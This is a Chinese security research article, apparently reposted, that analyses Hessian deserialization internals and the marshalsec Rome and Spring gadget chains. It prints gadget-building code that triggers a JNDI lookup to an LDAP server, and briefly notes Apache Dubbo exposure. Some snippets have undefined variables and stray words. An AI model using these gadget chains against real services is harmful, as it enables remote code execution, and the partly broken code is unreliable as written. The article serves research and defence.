Hessian 反序列化及相關利用鏈

做者:Longofo@知道創宇404實驗室
時間:2020年2月20日
原文地址:https://paper.seebug.org/1131...html

前不久有一個關於Apache Dubbo Http反序列化的漏洞,原本是一個正常功能(經過正常調用抓包便可驗證確實是正常功能而不是非預期的Post),經過Post傳輸序列化數據進行遠程調用,可是若是Post傳遞惡意的序列化數據就能進行惡意利用。Apache Dubbo還支持不少協議,例如Dubbo(Dubbo Hessian2)、Hessian(包括Hessian與Hessian2,這裏的Hessian2與Dubbo Hessian2不是同一個)、Rmi、Http等。Apache Dubbo是遠程調用框架,既然Http方式的遠程調用傳輸了序列化的數據,那麼其餘協議也可能存在相似問題,例如Rmi、Hessian等。@pyn3rd師傅以前在twiter發了關於Apache Dubbo Hessian協議的反序列化利用,Apache Dubbo Hessian反序列化問題以前也被提到過,這篇文章裏面講到了Apache Dubbo Hessian存在反序列化被利用的問題,相似的還有Apache Dubbo Rmi反序列化問題。以前也沒比較完整的去分析過一個反序列化組件處理流程,恰好趁這個機會看看Hessian序列化、反序列化過程,以及marshalsec工具中對於Hessian的幾條利用鏈。java

關於序列化/反序列化機制

序列化/反序列化機制(或者能夠叫編組/解組機制,編組/解組比序列化/反序列化含義要廣),參考marshalsec.pdf,能夠將序列化/反序列化機制分大致分爲兩類:node

  1. 基於Bean屬性訪問機制
  2. 基於Field機制
基於Bean屬性訪問機制
  • SnakeYAML
  • jYAML
  • YamlBeans
  • Apache Flex BlazeDS
  • Red5 IO AMF
  • Jackson
  • Castor
  • Java XMLDecoder
  • ...

它們最基本的區別是如何在對象上設置屬性值,它們有共同點,也有本身獨有的不一樣處理方式。有的經過反射自動調用getter(xxx)setter(xxx)訪問對象屬性,有的還須要調用默認Constructor,有的處理器(指的上面列出來的那些)在反序列化對象時,若是類對象的某些方法還知足本身設定的某些要求,也會被自動調用。還有XMLDecoder這種能調用對象任意方法的處理器。有的處理器在支持多態特性時,例如某個對象的某個屬性是Object、Interface、abstruct等類型,爲了在反序列化時能完整恢復,須要寫入具體的類型信息,這時候能夠指定更多的類,在反序列化時也會自動調用具體類對象的某些方法來設置這些對象的屬性值。這種機制的攻擊面比基於Field機制的攻擊面大,由於它們自動調用的方法以及在支持多態特性時自動調用方法比基於Field機制要多。git

基於Field機制

基於Field機制是經過特殊的native(native方法不是java代碼實現的,因此不會像Bean機制那樣調用getter、setter等更多的java方法)方法或反射(最後也是使用了native方式)直接對Field進行賦值操做的機制,不是經過getter、setter方式對屬性賦值(下面某些處理器若是進行了特殊指定或配置也可支持Bean機制方式)。在ysoserial中的payload是基於原生Java Serialization,marshalsec支持多種,包括上面列出的和下面列出的。github

  • Java Serialization
  • Kryo
  • Hessian
  • json-io
  • XStream
  • ...

就對象進行的方法調用而言,基於字段的機制一般一般不構成攻擊面。另外,許多集合、Map等類型沒法使用它們運行時表示形式進行傳輸/存儲(例如Map,在運行時存儲是經過計算了對象的hashcode等信息,可是存儲時是沒有保存這些信息的),這意味着全部基於字段的編組器都會爲某些類型捆綁定製轉換器(例如Hessian中有專門的MapSerializer轉換器)。這些轉換器或其各自的目標類型一般必須調用攻擊者提供的對象上的方法,例如Hessian中若是是反序列化map類型,會調用MapDeserializer處理map,期間map的put方法被調用,map的put方法又會計算被恢復對象的hash形成hashcode調用(這裏對hashcode方法的調用就是前面說的必須調用攻擊者提供的對象上的方法),根據實際狀況,可能hashcode方法中還會觸發後續的其餘方法調用。web

Hessian簡介

Hessian是二進制的web service協議,官方對Java、Flash/Flex、Python、C++、.NET C#等多種語言都進行了實現。Hessian和Axis、XFire都能實現web service方式的遠程方法調用,區別是Hessian是二進制協議,Axis、XFire則是SOAP協議,因此從性能上說Hessian遠優於後二者,而且Hessian的JAVA使用方法很是簡單。它使用Java語言接口定義了遠程對象,集合了序列化/反序列化和RMI功能。本文主要講解Hessian的序列化/反序列化。spring

下面作個簡單測試下Hessian Serialization與Java Serialization:apache

//Student.java
import java.io.Serializable;

public class Student implements Serializable {
    private static final long serialVersionUID \= 1L;
    private int id;
    private String name;
    private transient String gender;

    public int getId() {
        System.out.println("Student getId call");
        return id;
    }

    public void setId(int id) {
        System.out.println("Student setId call");
        this.id \= id;
    }

    public String getName() {
        System.out.println("Student getName call");
        return name;
    }

    public void setName(String name) {
        System.out.println("Student setName call");
        this.name \= name;
    }

    public String getGender() {
        System.out.println("Student getGender call");
        return gender;
    }

    public void setGender(String gender) {
        System.out.println("Student setGender call");
        this.gender \= gender;
    }

    public Student() {
        System.out.println("Student default constractor call");
    }

    public Student(int id, String name, String gender) {
        this.id \= id;
        this.name \= name;
        this.gender \= gender;
    }

    @Override
    public String toString() {
        return "Student(id=" + id + ",name=" + name + ",gender=" + gender + ")";
    }
}
//HJSerializationTest.java
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class HJSerializationTest {
    public static <T\> byte\[\] hserialize(T t) {
        byte\[\] data \= null;
        try {
            ByteArrayOutputStream os \= new ByteArrayOutputStream();
            HessianOutput output \= new HessianOutput(os);
            output.writeObject(t);
            data \= os.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return data;
    }

    public static <T\> T hdeserialize(byte\[\] data) {
        if (data \== null) {
            return null;
        }
        Object result \= null;
        try {
            ByteArrayInputStream is \= new ByteArrayInputStream(data);
            HessianInput input \= new HessianInput(is);
            result \= input.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return (T) result;
    }

    public static <T\> byte\[\] jdkSerialize(T t) {
        byte\[\] data \= null;
        try {
            ByteArrayOutputStream os \= new ByteArrayOutputStream();
            ObjectOutputStream output \= new ObjectOutputStream(os);
            output.writeObject(t);
            output.flush();
            output.close();
            data \= os.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return data;
    }

    public static <T\> T jdkDeserialize(byte\[\] data) {
        if (data \== null) {
            return null;
        }
        Object result \= null;
        try {
            ByteArrayInputStream is \= new ByteArrayInputStream(data);
            ObjectInputStream input \= new ObjectInputStream(is);
            result \= input.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return (T) result;
    }

    public static void main(String\[\] args) {
        Student stu \= new Student(1, "hessian", "boy");

        long htime1 \= System.currentTimeMillis();
        byte\[\] hdata \= hserialize(stu);
        long htime2 \= System.currentTimeMillis();
        System.out.println("hessian serialize result length = " + hdata.length + "," + "cost time:" + (htime2 \- htime1));

        long htime3 \= System.currentTimeMillis();
        Student hstudent \= hdeserialize(hdata);
        long htime4 \= System.currentTimeMillis();
        System.out.println("hessian deserialize result:" + hstudent + "," + "cost time:" + (htime4 \- htime3));
        System.out.println();

        long jtime1 \= System.currentTimeMillis();
        byte\[\] jdata \= jdkSerialize(stu);
        long jtime2 \= System.currentTimeMillis();
        System.out.println("jdk serialize result length = " + jdata.length + "," + "cost time:" + (jtime2 \- jtime1));

        long jtime3 \= System.currentTimeMillis();
        Student jstudent \= jdkDeserialize(jdata);
        long jtime4 \= System.currentTimeMillis();
        System.out.println("jdk deserialize result:" + jstudent + "," + "cost time:" + (jtime4 \- jtime3));
    }
}

結果以下:json

hessian serialize result length \= 64,cost time:45
hessian deserialize result:Student(id\=1,name\=hessian,gender\=null),cost time:3

jdk serialize result length \= 100,cost time:5
jdk deserialize result:Student(id\=1,name\=hessian,gender\=null),cost time:43

經過這個測試能夠簡單看出Hessian反序列化佔用的空間比JDK反序列化結果小,Hessian序列化時間比JDK序列化耗時長,但Hessian反序列化很快。而且二者都是基於Field機制,沒有調用getter、setter方法,同時反序列化時構造方法也沒有被調用。segmentfault

Hessian概念圖

下面的是網絡上對Hessian分析時經常使用的概念圖,在新版中是總體也是這些結構,就直接拿來用了:

1.png

  • Serializer:序列化的接口
  • Deserializer :反序列化的接口
  • AbstractHessianInput :hessian自定義的輸入流,提供對應的read各類類型的方法
  • AbstractHessianOutput :hessian自定義的輸出流,提供對應的write各類類型的方法
  • AbstractSerializerFactory
  • SerializerFactory :Hessian序列化工廠的標準實現
  • ExtSerializerFactory:能夠設置自定義的序列化機制,經過該Factory能夠進行擴展
  • BeanSerializerFactory:對SerializerFactory的默認object的序列化機制進行強制指定,指定爲使用BeanSerializer對object進行處理

Hessian Serializer/Derializer默認狀況下實現瞭如下序列化/反序列化器,用戶也可經過接口/抽象類自定義序列化/反序列化器:

2.png

3.png

序列化時會根據對象、屬性不一樣類型選擇對應的序列化其進行序列化;反序列化時也會根據對象、屬性不一樣類型選擇不一樣的反序列化器;每一個類型序列化器中還有具體的FieldSerializer。這裏注意下JavaSerializer/JavaDeserializer與BeanSerializer/BeanDeserializer,它們不是類型序列化/反序列化器,而是屬於機制序列化/反序列化器:

  1. JavaSerializer:經過反射獲取全部bean的屬性進行序列化,排除static和transient屬性,對其餘全部的屬性進行遞歸序列化處理(好比屬性自己是個對象)
  2. BeanSerializer是遵循pojo bean的約定,掃描bean的全部方法,發現存在get和set方法的屬性進行序列化,它並不直接直接操做全部的屬性,比較溫柔

Hessian反序列化過程

這裏使用一個demo進行調試,在Student屬性包含了String、int、List、Map、Object類型的屬性,添加了各屬性setter、getter方法,還有readResovle、finalize、toString、hashCode方法,並在每一個方法中進行了輸出,方便觀察。雖然不會覆蓋Hessian全部邏輯,不過能大概看到它的面貌:

//people.java
public class People {
    int id;
    String name;

    public int getId() {
        System.out.println("Student getId call");
        return id;
    }

    public void setId(int id) {
        System.out.println("Student setId call");
        this.id \= id;
    }

    public String getName() {
        System.out.println("Student getName call");
        return name;
    }

    public void setName(String name) {
        System.out.println("Student setName call");
        this.name \= name;
    }
}
//Student.java
public class Student extends People implements Serializable {
    private static final long serialVersionUID \= 1L;

    private static Student student \= new Student(111, "xxx", "ggg");
    private transient String gender;
    private Map<String, Class<Object\>> innerMap;
    private List<Student\> friends;

    public void setFriends(List<Student\> friends) {
        System.out.println("Student setFriends call");
        this.friends \= friends;
    }

    public void getFriends(List<Student\> friends) {
        System.out.println("Student getFriends call");
        this.friends \= friends;
    }

    public Map getInnerMap() {
        System.out.println("Student getInnerMap call");
        return innerMap;
    }

    public void setInnerMap(Map innerMap) {
        System.out.println("Student setInnerMap call");
        this.innerMap \= innerMap;
    }

    public String getGender() {
        System.out.println("Student getGender call");
        return gender;
    }

    public void setGender(String gender) {
        System.out.println("Student setGender call");
        this.gender \= gender;
    }

    public Student() {
        System.out.println("Student default constructor call");
    }

    public Student(int id, String name, String gender) {
        System.out.println("Student custom constructor call");
        this.id \= id;
        this.name \= name;
        this.gender \= gender;
    }

    private void readObject(ObjectInputStream ObjectInputStream) {
        System.out.println("Student readObject call");
    }

    private Object readResolve() {
        System.out.println("Student readResolve call");

        return student;
    }

    @Override
    public int hashCode() {
        System.out.println("Student hashCode call");
        return super.hashCode();
    }

    @Override
    protected void finalize() throws Throwable {
        System.out.println("Student finalize call");

        super.finalize();
    }

    @Override
    public String toString() {
        return "Student{" +
                "id=" + id +
                ", name='" + name + '\\'' +
                ", gender='" + gender + '\\'' +
                ", innerMap=" + innerMap +
                ", friends=" + friends +
                '}';
    }
}
//SerialTest.java
public class SerialTest {

    public static <T\> byte\[\] serialize(T t) {
        byte\[\] data \= null;
        try {
            ByteArrayOutputStream os \= new ByteArrayOutputStream();
            HessianOutput output \= new HessianOutput(os);
            output.writeObject(t);
            data \= os.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return data;
    }

    public static <T\> T deserialize(byte\[\] data) {
        if (data \== null) {
            return null;
        }
        Object result \= null;
        try {
            ByteArrayInputStream is \= new ByteArrayInputStream(data);
            HessianInput input \= new HessianInput(is);
            result \= input.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return (T) result;
    }

    public static void main(String\[\] args) {
        int id \= 111;
        String name \= "hessian";
        String gender \= "boy";

        Map innerMap \= new HashMap<String, Class<Object\>>();
        innerMap.put("1", ObjectInputStream.class);
        innerMap.put("2", SQLData.class);

        Student friend \= new Student(222, "hessian1", "boy");
        List friends \= new ArrayList<Student\>();
        friends.add(friend);

        Student stu \= new Student();
        stu.setId(id);
        stu.setName(name);
        stu.setGender(gender);
        stu.setInnerMap(innerMap);
        stu.setFriends(friends);

        System.out.println("---------------hessian serialize----------------");
        byte\[\] obj \= serialize(stu);
        System.out.println(new String(obj));

        System.out.println("---------------hessian deserialize--------------");
        Student student \= deserialize(obj);
        System.out.println(student);
    }
}

下面是對上面這個demo進行調試後畫出的Hessian在反序列化時處理的大體面貌(圖片看不清,能夠點這個連接查看):

下面經過在調試到某些關鍵位置具體說明。

獲取目標類型反序列化器

首先進入HessianInput.readObject(),讀取tag類型標識符,因爲Hessian序列化時將結果處理成了Map,因此第一個tag老是M(ascii 77):

5.png

case 77這個處理中,讀取了要反序列化的類型,接着調用this._serializerFactory.readMap(in,type)進行處理,默認狀況下serializerFactory使用的Hessian標準實現SerializerFactory:

6.png
先獲取該類型對應的Deserializer,接着調用對應Deserializer.readMap(in)進行處理,看下如何獲取對應的Derserializer:

第一個紅框中主要是判斷在_cacheTypeDeserializerMap中是否緩存了該類型的反序列化器;第二個紅框中主要是判斷是否在_staticTypeMap中緩存了該類型反序列化器,_staticTypeMap主要存儲的是基本類型與對應的反序列化器;第三個紅框中判斷是不是數組類型,若是是的話則進入數組類型處理;第四個獲取該類型對應的Class,進入this.getDeserializer(Class)再獲取該類對應的Deserializer,本例進入的是第四個:

這裏再次判斷了是否在緩存中,不過此次是使用的_cacheDeserializerMap,它的類型是ConcurrentHashMap,以前是_cacheTypeDeserializerMap,類型是HashMap,這裏多是爲了解決多線程中獲取的問題。本例進入的是第二個this.loadDeserializer(Class)

第一個紅框中是遍歷用戶本身設置的SerializerFactory,並嘗試從每個工廠中獲取該類型對應的Deserializer;第二個紅框中嘗試從上下文工廠獲取該類型對應的Deserializer;第三個紅框嘗試建立上下文工廠,並嘗試獲取該類型自定義Deserializer,而且該類型對應的Deserializer須要是相似xxxHessianDeserializer,xxx表示該類型類名;第四個紅框依次判斷,若是匹配不上,則使用getDefaultDeserializer(Class),本例進入的是第四個:

_isEnableUnsafeSerializer默認是爲true的,這個值的肯定首先是根據sun.misc.Unsafe的theUnsafe字段是否爲空決定,而sun.misc.Unsafe的theUnsafe字段默認在靜態代碼塊中初始化了而且不爲空,因此爲true;接着還會根據系統屬性com.caucho.hessian.unsafe是否爲false,若是爲false則忽略由sun.misc.Unsafe肯定的值,可是系統屬性com.caucho.hessian.unsafe默認爲null,因此不會替換剛纔的ture結果。所以,_isEnableUnsafeSerializer的值默認爲true,因此上圖默認就是使用的UnsafeDeserializer,進入它的構造方法。

獲取目標類型各屬性反序列化器

在這裏獲取了該類型全部屬性並肯定了對應得FieldDeserializer,還判斷了該類型的類中是否存在ReadResolve()方法,先看類型屬性與FieldDeserializer如何肯定:

獲取該類型以及全部父類的屬性,依次肯定對應屬性的FIeldDeserializer,而且屬性不能是transient、static修飾的屬性。下面就是依次肯定對應屬性的FieldDeserializer了,在UnsafeDeserializer中自定義了一些FieldDeserializer。

判斷目標類型是否認義了readResolve()方法

接着上面的UnsafeDeserializer構造器中,還會判斷該類型的類中是否有readResolve()方法:

經過遍歷該類中全部方法,判斷是否存在readResolve()方法。

好了,後面基本都是原路返回獲取到的Deserializer,本例中該類使用的是UnsafeDeserializer,而後回到SerializerFactory.readMap(in,type)中,調用UnsafeDeserializer.readMap(in)

至此,獲取到了本例中com.longofo.deserialize.Student類的反序列化器UnsafeDeserializer,以各字段對應的FieldSerializer,同時在Student類中定義了readResolve()方法,因此獲取到了該類的readResolve()方法。

爲目標類型分配對象

接下來爲目標類型分配了一個對象:

經過_unsafe.allocateInstance(classType)分配該類的一個實例,該方法是一個sun.misc.Unsafe中的native方法,爲該類分配一個實例對象不會觸發構造器的調用,這個對象的各屬性如今也只是賦予了JDK默認值。

目標類型對象屬性值的恢復

接下來就是恢復目標類型對象的屬性值:

進入循環,先調用in.readObject()從輸入流中獲取屬性名稱,接着從以前肯定好的this._fieldMap中匹配該屬性對應的FieldDeserizlizer,而後調用匹配上的FieldDeserializer進行處理。本例中進行了序列化的屬性有innerMap(Map類型)、name(String類型)、id(int類型)、friends(List類型),這裏以innerMap這個屬性恢復爲例。

以InnerMap屬性恢復爲例

innerMap對應的FieldDeserializer爲UnsafeDeserializer$ObjectFieldDeserializer

首先調用in.readObject(fieldClassType)從輸入流中獲取該屬性值,接着調用了_unsafe.putObject這個位於sun.misc.Unsafe中的native方法,而且不會觸發getter、setter方法的調用。這裏看下in.readObject(fieldClassType)具體如何處理的:

這裏Map類型使用的是MapDeserializer,對應的調用MapDeserializer.readMap(in)方法來恢復一個Map對象:

注意這裏的幾個判斷,若是是Map接口類型則使用HashMap,若是是SortedMap類型則使用TreeMap,其餘Map則會調用對應的默認構造器,本例中因爲是Map接口類型,使用的是HashMap。接下來經典的場景就來了,先使用in.readObject()(這個過程和以前的相似,就不重複了)恢復了序列化數據中Map的key,value對象,接着調用了map.put(key,value),這裏是HashMap,在HashMap的put方法會調用hash(key)觸發key對象的key.hashCode()方法,在put方法中還會調用putVal,putVal又會調用key對象的key.equals(obj)方法。處理完全部key,value後,返回到UnsafeDeserializer$ObjectFieldDeserializer中:

使用native方法_unsafe.putObject完成對象的innerMap屬性賦值。

Hessian的幾條利用鏈分析

在marshalsec工具中,提供了對於Hessian反序列化可利用的幾條鏈:

  • Rome
  • XBean
  • Resin
  • SpringPartiallyComparableAdvisorHolder
  • SpringAbstractBeanFactoryPointcutAdvisor

下面分析其中的兩條Rome和SpringPartiallyComparableAdvisorHolder,Rome是經過HashMap.put->key.hashCode觸發,SpringPartiallyComparableAdvisorHolder是經過HashMap.put->key.equals觸發。其餘幾個也是相似的,要麼利用hashCode、要麼利用equals。

SpringPartiallyComparableAdvisorHolder

在marshalsec中有全部對應的Gadget Test,很方便:

這裏將Hessian對SpringPartiallyComparableAdvisorHolder這條利用鏈提取出來看得比較清晰些:

String jndiUrl \= "ldap://localhost:1389/obj";
SimpleJndiBeanFactory bf \= new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);

//反序列化時BeanFactoryAspectInstanceFactory.getOrder會被調用,會觸發調用SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookup
Reflections.setFieldValue(bf, "logger", new NoOpLog());
Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());

//反序列化時AspectJAroundAdvice.getOrder會被調用,會觸發BeanFactoryAspectInstanceFactory.getOrder
AspectInstanceFactory aif \= Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
Reflections.setFieldValue(aif, "beanFactory", bf);
Reflections.setFieldValue(aif, "name", jndiUrl);

//反序列化時AspectJPointcutAdvisor.getOrder會被調用,會觸發AspectJAroundAdvice.getOrder
AbstractAspectJAdvice advice \= Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);

//反序列化時PartiallyComparableAdvisorHolder.toString會被調用,會觸發AspectJPointcutAdvisor.getOrder
AspectJPointcutAdvisor advisor \= Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
Reflections.setFieldValue(advisor, "advice", advice);

//反序列化時Xstring.equals會被調用,會觸發PartiallyComparableAdvisorHolder.toString
Class<?> pcahCl \= Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
Object pcah \= Reflections.createWithoutConstructor(pcahCl);
Reflections.setFieldValue(pcah, "advisor", advisor);

//反序列化時HotSwappableTargetSource.equals會被調用,觸發Xstring.equals
HotSwappableTargetSource v1 \= new HotSwappableTargetSource(pcah);
HotSwappableTargetSource v2 \= new HotSwappableTargetSource(Xstring("xxx"));

//反序列化時HashMap.putVal會被調用,觸發HotSwappableTargetSource.equals。這裏沒有直接使用HashMap.put設置值,直接put會在本地觸發利用鏈,因此使用marshalsec使用了比較特殊的處理方式。
HashMap<Object, Object\> s \= new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?\> nodeC;
try {
    nodeC \= Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
    nodeC \= Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons \= nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl \= Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);

看如下觸發流程:

通過HessianInput.readObject(),到了MapDeserializer.readMap(in)進行處理Map類型屬性,這裏觸發了HashMap.put(key,value)

HashMap.put有調用了HashMap.putVal方法,第二次put時會觸發key.equals(k)方法:

此時key與k分別以下,都是HotSwappableTargetSource對象:

進入HotSwappableTargetSource.equals

HotSwappableTargetSource.equals中又觸發了各自target.equals方法,也就是XString.equals(PartiallyComparableAdvisorHolder)

在這裏觸發了PartiallyComparableAdvisorHolder.toString

發了AspectJPointcutAdvisor.getOrder

觸發了AspectJAroundAdvice.getOrder

這裏又觸發了BeanFactoryAspectInstanceFactory.getOrder

又觸發了SimpleJndiBeanFactory.getTYpe->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookup->Context.lookup

Rome

Rome相對來講觸發過程簡單些:

一樣將利用鏈提取出來:

//反序列化時ToStringBean.toString()會被調用,觸發JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup
String jndiUrl \= "ldap://localhost:1389/obj";
JdbcRowSetImpl rs \= new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");

//反序列化時EqualsBean.beanHashCode會被調用,觸發ToStringBean.toString
ToStringBean item \= new ToStringBean(JdbcRowSetImpl.class, obj);

//反序列化時HashMap.hash會被調用,觸發EqualsBean.hashCode->EqualsBean.beanHashCode
EqualsBean root \= new EqualsBean(ToStringBean.class, item);

//HashMap.put->HashMap.putVal->HashMap.hash
HashMap<Object, Object\> s \= new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
    nodeC \= Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
    nodeC \= Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons \= nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl \= Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);

看下觸發過程:

通過HessianInput.readObject(),到了MapDeserializer.readMap(in)進行處理Map類型屬性,這裏觸發了HashMap.put(key,value)

接着調用了hash方法,其中調用了key.hashCode方法:

接着觸發了EqualsBean.hashCode->EqualsBean.beanHashCode

觸發了ToStringBean.toString

這裏調用了JdbcRowSetImpl.getDatabaseMetadata,其中又觸發了JdbcRowSetImpl.connect->context.lookup

小結

經過以上兩條鏈能夠看出,在Hessian反序列化中基本都是利用了反序列化處理Map類型時,會觸發調用Map.put->Map.putVal->key.hashCode/key.equals->...,後面的一系列出發過程,也都與多態特性有關,有的類屬性是Object類型,能夠設置爲任意類,而在hashCode、equals方法又剛好調用了屬性的某些方法進行後續的一系列觸發。因此要挖掘這樣的利用鏈,能夠直接找有hashCode、equals以及readResolve方法的類,而後人進行判斷與構造,不過這個工做量應該很大;或者使用一些利用鏈挖掘工具,根據須要編寫規則進行掃描。

Apache Dubbo反序列化簡單分析

Apache Dubbo Http反序列化

先簡單看下以前說到的HTTP問題吧,直接用官方提供的samples,其中有一個dubbo-samples-http能夠直接拿來用,直接在DemoServiceImpl.sayHello方法中打上斷點,在RemoteInvocationSerializingExporter.doReadRemoteInvocation中反序列化了數據,使用的是Java Serialization方式:

抓包看下,很明顯的ac ed標誌:

Apache Dubbo Dubbo反序列化

一樣使用官方提供的dubbo-samples-basic,默認Dubbo hessian2協議,Dubbo對hessian2進行了魔改,不過大致結構仍是差很少,在MapDeserializer.readMap是依然與Hessian相似:

參考

  1. https://docs.ioin.in/writeup/blog.csdn.net/_u011721501_article_details_79443598/index.html
  2. https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf
  3. https://www.mi1k7ea.com/2020/01/25/Java-Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
  4. https://zhuanlan.zhihu.com/p/44787200
相關文章
相關標籤/搜索